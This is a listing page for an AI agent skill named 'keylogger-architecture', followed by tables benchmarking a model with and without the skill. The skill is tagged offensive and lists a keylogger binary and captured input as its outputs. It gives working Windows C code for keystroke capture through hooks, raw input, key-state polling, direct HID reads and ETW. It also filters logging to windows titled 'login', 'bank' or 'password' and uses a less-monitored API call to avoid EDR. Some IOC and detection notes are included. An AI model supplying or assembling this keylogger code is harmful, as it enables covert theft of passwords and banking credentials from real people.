Install any skill in seconds. Free to start, no credit card required.
Get Started Free →name: keylogger-architecture
.claude/skills/hypnguyen1209-keylogger-arch/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-01 | ✗→✓ | ▲ Improved | 25% | 0% |
| case-05 | ✗→✓ | ▲ Improved | 6% | 0% |
| case-04 | ✓→✗ | ▼ Worse | 32% | 0% |
| case-03 | ✓→✓ | = Same ✓ | 44% | 0% |
| case-06 | ✓→✓ | = Same ✓ | 189% | 0% |
name: keylogger-architecture description: Use when designing or analyzing keystroke/input capture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques and their IOCs metadata: type: offensive phase: research kill_chain: phase: install, actions] step: 5, 7] attck_tactics: TA0003, TA0009] depends_on: privesc-windows, edr-evasion] feeds_into: red-team-ops] inputs: target_os, edr_product] outputs: keylogger_binary, captured_input] ---
c// Install global low-level keyboard hook HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0); LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode == HC_ACTION) { KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam; if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) { LogKey(kb->vkCode); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } // MUST pump messages — hook won't fire without message loop MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); }
SetWindowsHookEx → NtUserSetWindowsHookEx in win32k.sys!hook WinDbg commanduser32!SetWindowsHookEx to detect installationc// Register for raw keyboard input — no hook chain, no DLL injection RAWINPUTDEVICE rid; rid.usUsagePage = 0x01; // Generic Desktop rid.usUsage = 0x06; // Keyboard rid.dwFlags = RIDEV_INPUTSINK; // Receive input even when not foreground rid.hwndTarget = hWnd; // Message-only window RegisterRawInputDevices(&rid, 1, sizeof(rid)); // In window procedure: case WM_INPUT: { RAWINPUT raw; UINT size = sizeof(raw); GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &raw, &size, sizeof(RAWINPUTHEADER)); if (raw.header.dwType == RIM_TYPEKEYBOARD) { LogKey(raw.data.keyboard.VKey); } }
!hook listCallNextHookEx chain dependencyEtwTraceAuditApiRegisterRawInputDevicesc// Simple but CPU-intensive — polls every key state while (true) { for (int key = 0; key < 256; key++) { if (GetAsyncKeyState(key) & 0x0001) { // Key was pressed since last check LogKey(key); } } Sleep(10); // Reduce CPU usage }
c// Open keyboard device directly (requires admin) HANDLE hKeyboard = CreateFile(L"\\\\?\\HID#VID_xxxx&PID_xxxx", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); // Read HID reports directly — bypasses win32k entirely ReadFile(hKeyboard, buffer, sizeof(buffer), &bytesRead, &overlapped); // Parse HID keyboard report (8 bytes: modifier + reserved + 6 keycodes)
c// Subscribe to Microsoft-Windows-USB-UCX or HID ETW providers // Capture raw USB HID events including keystrokes // Requires admin but leaves minimal footprint // Provider: Microsoft-Windows-USB-USBHUB3 // Events contain raw USB transfer data including HID reports
c// Capture which application receives keystrokes HWND fg = GetForegroundWindow(); char title[256]; GetWindowTextA(fg, title, sizeof(title)); // Filter: only log when title contains "login", "bank", "password"
c// Lower-level, less hooked by EDRs // Defined in win32u.dll, syscall into win32kfull.sys typedef BOOL (WINAPI *pNtUserInternalGetWindowText)(HWND, LPWSTR, INT); pNtUserInternalGetWindowText fn = GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserInternalGetWindowText"); WCHAR title[256]; fn(hWnd, title, 256);
| Method | Stealth | Privileges | Primary IOC | |--------|---------|-----------|-------------| | SetWindowsHookEx (LL) | Low | User | Hook chain, message pump | | SetWindowsHookEx (regular) | Very Low | User | DLL in every process | | RegisterRawInputDevices | Medium | User | ETW kernel event | | GetAsyncKeyState | Low | User | CPU usage, API frequency | | Direct HID device | High | Admin | IRP telemetry | | ETW-based | High | Admin | Provider subscription | | Kernel driver | Very High | Admin/SYSTEM | Driver load event |
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-01 | fail→pass | 17,415 | 16,931 | -3% | 1 | 1 | 0% | 2,719 | 3,402 | +25% | 0 | 0 | — |
case-02 | fail→fail | 18,312 | 13,836 | -24% | 1 | 1 | 0% | 3,254 | 4,320 | +33% | 0 | 0 | — |
case-03 | pass→pass | 13,769 | 9,768 | -29% | 1 | 1 | 0% | 2,527 | 3,632 | +44% | 0 | 0 | — |
case-04 | pass→fail | 15,809 | 11,004 | -30% | 1 | 1 | 0% | 2,778 | 3,662 | +32% | 0 | 0 | — |
case-05 | fail→pass | 14,880 | 6,478 | -56% | 1 | 1 | 0% | 2,716 | 2,876 | +6% | 0 | 0 | — |
case-06 | pass→pass | 5,315 | 5,149 | -3% | 1 | 1 | 0% | 914 | 2,639 | +189% | 0 | 0 | — |
case-07 | pass→pass | 17,548 | 15,980 | -9% | 1 | 1 | 0% | 2,708 | 3,564 | +32% | 0 | 0 | — |
case-08 | pass→pass | 9,903 | 8,613 | -13% | 1 | 1 | 0% | 1,651 | 3,207 | +94% | 0 | 0 | — |
case-09 | pass→pass | 8,043 | 3,879 | -52% | 1 | 1 | 0% | 1,407 | 2,475 | +76% | 0 | 0 | — |
case-10 | pass→pass | 17,625 | 10,172 | -42% | 1 | 1 | 0% | 2,753 | 3,411 | +24% | 0 | 0 | — |
case-11 | pass→pass | 6,702 | 12,685 | +89% | 1 | 1 | 0% | 957 | 2,310 | +141% | 0 | 0 | — |
case-12 | pass→pass | 17,144 | 8,644 | -50% | 1 | 1 | 0% | 2,977 | 3,117 | +5% | 0 | 0 | — |
case-13 | pass→pass | 4,399 | 3,878 | -12% | 1 | 1 | 0% | 730 | 2,438 | +234% | 0 | 0 | — |
case-14 | pass→pass | 3,653 | 3,030 | -17% | 1 | 1 | 0% | 598 | 2,233 | +273% | 0 | 0 | — |
case-15 | pass→pass | 3,633 | 4,031 | +11% | 1 | 1 | 0% | 527 | 2,420 | +359% | 0 | 0 | — |
case-16 | pass→pass | 11,267 | 6,102 | -46% | 1 | 1 | 0% | 1,806 | 2,578 | +43% | 0 | 0 | — |
case-17 | pass→pass | 7,151 | 3,320 | -54% | 1 | 1 | 0% | 1,238 | 2,366 | +91% | 0 | 0 | — |
case-18 | pass→pass | 18,388 | 12,181 | -34% | 1 | 1 | 0% | 3,077 | 3,696 | +20% | 0 | 0 | — |
case-19 | pass→pass | 7,275 | 5,670 | -22% | 1 | 1 | 0% | 1,134 | 2,805 | +147% | 0 | 0 | — |
case-20 | pass→pass | 16,993 | 16,364 | -4% | 1 | 1 | 0% | 2,466 | 4,481 | +82% | 0 | 0 | — |
case-21 | pass→pass | 16,911 | 16,347 | -3% | 1 | 1 | 0% | 2,401 | 4,033 | +68% | 0 | 0 | — |
case-22 | pass→pass | 13,180 | 14,391 | +9% | 1 | 1 | 0% | 2,127 | 3,120 | +47% | 0 | 0 | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +5 percentage points is the difference between those two pass rates over the 22 comparable cases. 1 case got worse with the skill loaded, and it is included in that figure.
Without the skill loaded, the model failed this case. With it loaded, the same prompt on the same model passed. This is one improved case from the latest verified run; every case, including any that regressed, is in the table above.
Other measured skills in the registry, with their headline benchmark lift.